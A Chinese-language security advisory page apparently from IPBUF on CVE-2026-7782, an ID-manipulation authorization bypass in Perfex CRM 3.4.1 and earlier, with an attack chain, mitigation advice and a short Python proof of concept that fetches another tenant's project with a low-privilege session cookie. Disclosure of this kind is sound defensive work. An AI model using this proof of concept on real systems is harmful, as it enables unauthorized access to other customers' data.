IPBUF安全漏洞报告
English
CVE-2026-7782 CVSS 6.3 中危

CVE-2026-7782 Perfex CRM授权绕过漏洞

披露日期: 2026-05-04

漏洞信息

漏洞编号
CVE-2026-7782
漏洞类型
权限绕过
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Perfex CRM

相关标签

权限绕过Perfex CRMCVE-2026-7782Access ControlWeb安全

漏洞概述

CodeCanyon Perfex CRM 版本3.4.1及之前版本中存在一处授权绕过漏洞。该漏洞源于`application/controllers/Clients.php`文件中`Clients::project`函数对租户处理组件的缺陷。攻击者可以通过操纵请求参数中的ID,绕过系统的身份验证机制。该漏洞允许远程攻击者在未获得授权的情况下访问敏感数据,目前已有公开的利用代码,对系统安全性构成中等威胁。

技术细节

该漏洞位于Perfex CRM的客户端控制器中,具体涉及`Clients.php`文件的`project`方法。该函数主要用于处理与项目相关的请求,但在处理用户输入的ID参数时,未能有效验证当前用户是否具有访问该特定项目ID的权限。由于存在逻辑缺陷,低权限攻击者可以通过修改请求中的ID参数(例如将ID更改为其他租户的项目ID),欺骗服务器返回本应受限的数据。这种绕过行为破坏了多租户架构中的隔离原则,使得攻击者能够跨租户读取、修改或影响项目数据。攻击向量为网络,攻击复杂度低,且无需用户交互即可触发。

攻击链分析

STEP 1
1. 获取低权限账号
攻击者注册或获取一个普通低权限用户账号,获取有效的会话Cookie。
STEP 2
2. 构造恶意请求
攻击者向`/clients/project/{ID}`接口发送GET请求,并将ID参数修改为目标租户或其他用户的项目ID。
STEP 3
3. 绕过权限验证
服务器端由于验证逻辑缺陷,未能拦截该越权请求,直接返回了受保护的项目数据。
STEP 4
4. 数据泄露或篡改
攻击者成功获取敏感信息或利用返回的数据进行进一步的完整性破坏。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-7782 (Perfex CRM Authorization Bypass) # This script demonstrates the ID manipulation in the Clients::project endpoint. import requests def check_vulnerability(target_url, session_cookie): """ Attempts to access a restricted project by manipulating the ID. """ headers = { "Cookie": f"ci_session={session_cookie}" } # Target endpoint vulnerable to ID manipulation # Assuming ID 1 is a restricted project not owned by the low-priv user exploit_url = f"{target_url}/clients/project/1" try: response = requests.get(exploit_url, headers=headers, timeout=10) if response.status_code == 200: # Check if sensitive project data is returned despite lack of permissions if "Project #1" in response.text or "project_details" in response.text: return "[+] Vulnerability confirmed: Authorization bypassed." return "[-] Vulnerability not confirmed or patched." except Exception as e: return f"[!] Error: {e}" # Usage # target = "http://example.com" # cookie = "low_priv_user_session_token" # print(check_vulnerability(target, cookie))

影响范围

Perfex CRM <= 3.4.1

防御指南

临时缓解措施
如果无法立即升级,建议管理员在网络边界部署WAF规则,拦截对`/clients/project/`路径的异常参数请求;同时,应加强对系统日志的审计,监控是否存在针对项目ID的异常批量访问行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表